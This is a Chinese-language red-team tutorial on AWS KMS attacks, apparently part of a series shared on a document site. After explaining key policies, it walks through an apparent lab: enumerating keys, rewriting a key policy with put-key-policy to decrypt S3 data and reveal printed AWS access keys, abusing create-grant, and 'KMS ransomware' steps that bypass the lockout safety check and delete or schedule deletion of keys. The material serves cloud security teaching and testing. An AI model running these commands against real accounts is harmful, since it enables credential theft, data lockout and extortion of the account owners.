Professional Documents
Culture Documents
AWS云安全及红队攻击技术分享2 3
AWS云安全及红队攻击技术分享2 3
AWS云安全及红队攻击技术分享2 3
AWS云安全及红队攻击技术分享2-3
第二章三节 KMS - 密钥管理服务
Written by 六对半雨翼
前言
本节将介绍AWS KMS。AWS KMS(Key Management Service)是亚马逊云服务(Amazon Web
Services,AWS)提供的一项托管式密钥管理服务,用于创建和控制加密密钥,以保护您在 AWS 上存储
和传输的数据。注意,每个KMS的KEY,每天都会有费用产生。而KMS现在成了AWS勒索的重灾区,绿色
环保利用简单,只需要用户错误的配置就能让攻击者轻松的进行勒索。另外,请关
注"kms:BypassPolicyLockoutSafetyCheck" 这个权限。
另外推荐一下朋友的星球,重生者团队 经常会有各师傅们的干货分享。不过注意星球是收费的,请大家理
性消费。
使用场景
数据加密:保护存储在 AWS 中的敏感数据,确保数据在静态存储或传输过程中的安全性。
合规性需求:满足安全合规性标准和法规,例如 PCI DSS、HIPAA 等。
应用程序加密:在应用程序中使用 AWS KMS 加密 API 对数据进行加密,确保数据的保密性和完整
性。
1/9
AWS云安全及红队攻击技术分享2-3
密钥管理:集中管理密钥,确保密钥的安全性和轮换策略的执行。
使用示例
1. 加密 Amazon S3 存储桶中的对象: 使用 AWS KMS 生成的加密密钥对 Amazon S3 存储桶中的对象
进行加密和解密操作。
2. 加密 Amazon RDS 数据库: 使用 AWS KMS 加密 API 对 Amazon RDS 数据库的数据进行加密,保
护数据库中的敏感信息。
3. 安全存储加密密钥: 使用 AWS KMS 生成的加密密钥加密其他应用程序中的敏感密钥,确保密钥在存
储和传输时的安全性。
额外说明
1. KMS支持对称和非对称密钥。
2. 密钥存储在hsm(硬件安全模块)中,AWS的管理员“不能”访问您的密钥。
3. 客户主密钥(CMK):可以加密大小为4KB的数据。它们通常用于创建、加密和解密dek(数据加密密
钥)。然后使用dek对数据进行加密。
4. CMK的“Key Material”是实际的键,但你却无法看到这个值。
主密钥有 2 种类型:
AWS 托管 CMK:由其他服务用来加密数据。它由在区域中创建它的服务使用。它们是您第一次在该
服务中实施加密时创建的。每3年轮换一次,且无法更改。
客户托管 CMK:灵活性、轮换、可配置的访问权限和密钥策略。启用和禁用按键。
密钥策略
默认情况下:
它为拥有 KMS 密钥的 AWS 账户提供对 KMS 密钥的完全访问权限。 与其他 AWS 资源策略不同,
AWS KMS 密钥策略不会自动向账户或其任何用户授予权限。要向帐户管理员授予权限,密钥策略必
须包含提供此权限的显式声明,如下所示。
如果不允许帐户 ( "AWS": "arn:aws:iam::111122223333:root" ),IAM 权限将不起作用。
除了密钥策略之外,它还允许账户使用 IAM 策略来允许访问 KMS 密钥。 如果没有此权限,允许访问
密钥的 IAM 策略将无效,但拒绝访问密钥的 IAM 策略仍然有效。
它通过向帐户管理员(包括帐户根用户)授予无法删除的访问控制权限,降低了密钥变得难以管理的
风险。
默认策略示例:
json
1 {
2 "Sid": "Enable IAM policies",
3 "Effect": "Allow",
4 "Principal": {
5 "AWS": "arn:aws:iam::111122223333:root"
6 },
7 "Action": "kms:*",
8 "Resource": "*"
9 }
2/9
AWS云安全及红队攻击技术分享2-3
如果允许该账户 ( "arn:aws:iam::111122223333:root" ),该账户的委托人仍需要 IAM 权限才能使用 KMS
密钥。但是,如果密钥策略中明确允许某个角色的 ARN,则该角色不需要 IAM 权限。
密钥管理员
默认密钥管理员:
有权管理 KMS,但无权加密或解密数据
仅 IAM 用户和角色可以添加到密钥管理员列表(而非组)
如果使用外部CMK,密钥管理员有导入密钥的权限
CMK 轮换
相同密钥保留的时间越长,使用该密钥加密的数据量就越大,如果该密钥被破解,那么受威胁的数据
范围就越广。此外,密钥保持活跃的时间越长,被破解的可能性就会增加。
KMS 每 365 天轮换一次客户密钥(或者你可以随时手动执行该过程),并且由 AWS 每 3 年管理一次
密钥,这不能更改。
保留旧密钥以解密轮换之前加密的数据
在中断情况下,轮换密钥不会消除威胁,因为有可能解密使用受损密钥加密的所有数据。但是,新数
据将使用新密钥加密。
如果 CMK 处于禁用或待删除状态,KMS 将不会执行密钥轮换,直到 CMK 重新启用或删除被取消。
枚举
# 获取密钥
aws kms list-keys
# 获取密钥策略
aws kms list-key-policies --key-id <id>
# 获取密钥策略详细信息
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
权限提升
kms:ListKeys,kms:PutKeyPolicy —— 允许任何人使用和管理密钥
kms:CreateGrant —— 授权允许一个主体(即使来自不同的账户)使用特定的操作(受限制的操
作)
kms:CreateKey, kms:ReplicateKey —— 通过复制来窃取密钥
后渗透
解密敏感信息(通过其他AWS服务或直接)
让钥匙无法使用
设置自己的密钥(AWS上的勒索软件)
权限维持
3/9
AWS云安全及红队攻击技术分享2-3
攻击者可以使用权限kms:PutKeyPolicy向其控制下的用户甚至外部帐户授予对密钥的访问权。
攻击者还可以滥用Grant + Monitoring来保持密钥的持久性
攻击场景
kms:PutKeyPolicy
💀
┌──(root kali)-[~/test/aws]
└─# aws kms list-keys --profile kms1
#由于一般情况下,key并不是唯一的,而且也不会注明哪个key对应哪个数据的加密,所以需要从列
出的keys中逐一尝试
key对应的策略如下:
💀
┌──(root kali)-[~/tools/aws]
└─# aws kms list-key-policies --key-id e1b73912-a147-493b-9462-ee5b600a8b65 --
profile kms1
{
"PolicyNames": [
"default"
]
}
💀
┌──(root kali)-[~/tools/aws]
└─# aws kms get-key-policy --key-id e1b73912-a147-493b-9462-ee5b600a8b65 --
policy-name default --profile kms1
{
"Policy": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::260166462399:role/LabManagementOutOfScope"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::260166462399:user/kms-lab-1-start-point"
},
"Action": [
"kms:GetKeyPolicy",
"kms:ListKeyPolicies",
4/9
AWS云安全及红队攻击技术分享2-3
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::260166462399:user/kms-lab-1-start-point"
},
"Action": "kms:PutKeyPolicy",
"Resource": "*",
"Condition": {
"Bool": {
"kms:BypassPolicyLockoutSafetyCheck": "false"
}
}
}
]
}
}
由于有kms:PutKeyPolicy 的 权限,所以我们可以使用put-key-policy来更新policy
{
"Version" : "2012-10-17",
"Id" : "key-1",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::964225392792:user/kms-lab-1"
},
"Action" : "kms:*",
"Resource" : "*"
}
]
}
💀
┌──(root kali)-[~/tools/aws]
└─# aws --profile kms1 kms put-key-policy --key-id e1b73912-a147-493b-9462-
ee5b600a8b65 --policy-name default --policy file://kmspolicy.json --region us-
east-1
💀
┌──(root kali)-[~/test/aws]
└─# aws --profile kms1 s3 cp s3://kms-lab-1-bucket-lk4qr3c4g22l/kms_1.txt
kms_1.txt
# 从s3桶上复制被加密的信息
💀
┌──(root kali)-[~/test/aws]
└─# aws --profile kms1 kms decrypt --ciphertext-blob fileb://kms1.txt --key-id
e1b73912-a147-493b-9462-ee5b600a8b65 --output text --query Plaintext | base64 --
decode
{"aws_access_key_id":"AKIA6BACP4CMHUJI52RC","aws_secret_access_key":"mc8Ner7Y7zCH
QkwOd6Gj1SvOc2g78azqnDfznKHR"}
# 使用修改过策略的key解密,注意,因为特殊字符的问题,绝大多数加密的数据都会在加密前做一
次base64编码,所以一般在解密时需要做一次base64解码。
kms:CreateGrant
创建一个授权(grant),允许特定的 IAM 用户对指定的 KMS 密钥( afb9aa72-e1de-4a84-86ab-
b055a6aadeb8 )执行解密操作,命令执行完会拿到一个GrantToken。
💀
┌──(root kali)-[~/test/aws]
└─# aws --profile kms2 kms create-grant \
--key-id afb9aa72-e1de-4a84-86ab-b055a6aadeb8 \
--grantee-principal arn:aws:iam::964225392792:user/kms-lab \
--operations Decrypt
{
"GrantToken":
"AQpAZTZmYjE0NTAzZTA4MzE1ZmY0NGJjYWE2MTM0M2RjY2ZhNjAyYjc1OGRkZGQ0MjhhMTdmZWQyMTdk
NjBiODQyNyKIAgEBAgB45vsUUD4IMV_0S8qmE0Pcz6YCt1jd3UKKF_7SF9YLhCcAAADfMIHcBgkqhkiG9
w0BBwaggc4wgcsCAQAwgcUGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQM6b9kmA47uNJb1s5tAgEQgI
GXwsmFfi_YAGRmL9GXg_yvnU6oQ2hYD0Mmq0fu9NB_8Vw8fg3o8pYhS0ddcyMAL2RbNYcwqnhbEgCjt8E
x1mzZQdmUzEVUEEgewJBHCmg3wh87rRCaE0hIVw8EKtb8YE_TcOcL7_EJ3rwta-Y8-
ShgX9FyaeEOtMQRgwrK02cKB2yJGNzQpSCPKxEQKsd1YeLQhL8Zd4RQ_SogCnSnhb0j0-
L4XpggNhrEO35EOJVe1hfdDk9Yn1_MRuM",
"GrantId": "0a74a785bd23d3e2f85e9820361ac43b7e4438955ed617dd0e4f589f5fcc46e3"
}
请注意,在生成授权后,KMS 可能需要几分钟时间才能允许用户使用密钥。一旦过了该时间,用户就可以
直接使用 KMS 密钥,而无需指定任何内容。
但是,如果需要立即使用授权,请使用授权令牌(检查以下代码),不过这个操作需要
kms:GenerateDataKey的权限。
💀
┌──(root kali)-[~/test/aws]
└─# aws --profile kms2 kms generate-data-key \
--key-id afb9aa72-e1de-4a84-86ab-b055a6aadeb8 \
6/9
AWS云安全及红队攻击技术分享2-3
--key-spec AES_256 \
--grant-tokens
AQpAZTZmYjE0NTAzZTA4MzE1ZmY0NGJjYWE2MTM0M2RjY2ZhNjAyYjc1OGRkZGQ0MjhhMTdmZWQyMTdkN
jBiODQyNyKIAgEBAgB45vsUUD4IMV_0S8qmE0Pcz6YCt1jd3UKKF_7SF9YLhCcAAADfMIHcBgkqhkiG9w
0BBwaggc4wgcsCAQAwgcUGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQM6b9kmA47uNJb1s5tAgEQgIG
XwsmFfi_YAGRmL9GXg_yvnU6oQ2hYD0Mmq0fu9NB_8Vw8fg3o8pYhS0ddcyMAL2RbNYcwqnhbEgCjt8Ex
1mzZQdmUzEVUEEgewJBHCmg3wh87rRCaE0hIVw8EKtb8YE_TcOcL7_EJ3rwta-Y8-
ShgX9FyaeEOtMQRgwrK02cKB2yJGNzQpSCPKxEQKsd1YeLQhL8Zd4RQ_SogCnSnhb0j0-
L4XpggNhrEO35EOJVe1hfdDk9Yn1_MRuM
之后就可从s3下载文件,重复kms:PutKeyPolicy中的解密步骤
KSM 勒索
拥有 KMS 特权访问权限的攻击者可以修改密钥的 KMS 策略并授予他的帐户访问权限,从而删除授予合法
帐户的访问权限。
然后,合法帐户用户将无法访问使用这些密钥加密的任何服务的任何信息,从而在该帐户上创建一个简单
但有效的勒索软件。
请注意,AWS 托管密钥不受此攻击影响,仅受客户托管密钥影响。
# 强制更改策略
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
请注意,如果你更改该策略并仅授予对外部帐户的访问权限,然后你尝试从该外部帐户设置新策略以将访
问权限返回给原始帐户,则你将无法这样做。
7/9
AWS云安全及红队攻击技术分享2-3
还有另一种方法可以执行全局 KMS 勒索软件,该方法涉及以下步骤:
1. 创建一个新的密钥,并由攻击者导入密钥材料。
2. 使用新密钥重新加密先前版本加密的旧数据。
3. 删除 KMS 密钥。
现在,只有攻击者拥有原始密钥材料,才能解密加密的数据。
销毁钥匙
# 销毁之前导入的密钥材料,使密钥变得无效。
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-
1234567890ab
# 安排销毁密钥的计划(最短等待时间为7天)。
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-
1234567890ab \
--pending-window-in-days 7
后续
下一节将进入本次分享的第二章AWS服务利用的第四节,介绍AWS服务利用:Secrets Manager。
微信公众号:
8/9
AWS云安全及红队攻击技术分享2-3
加入星球:
扫码进交流群:
9/9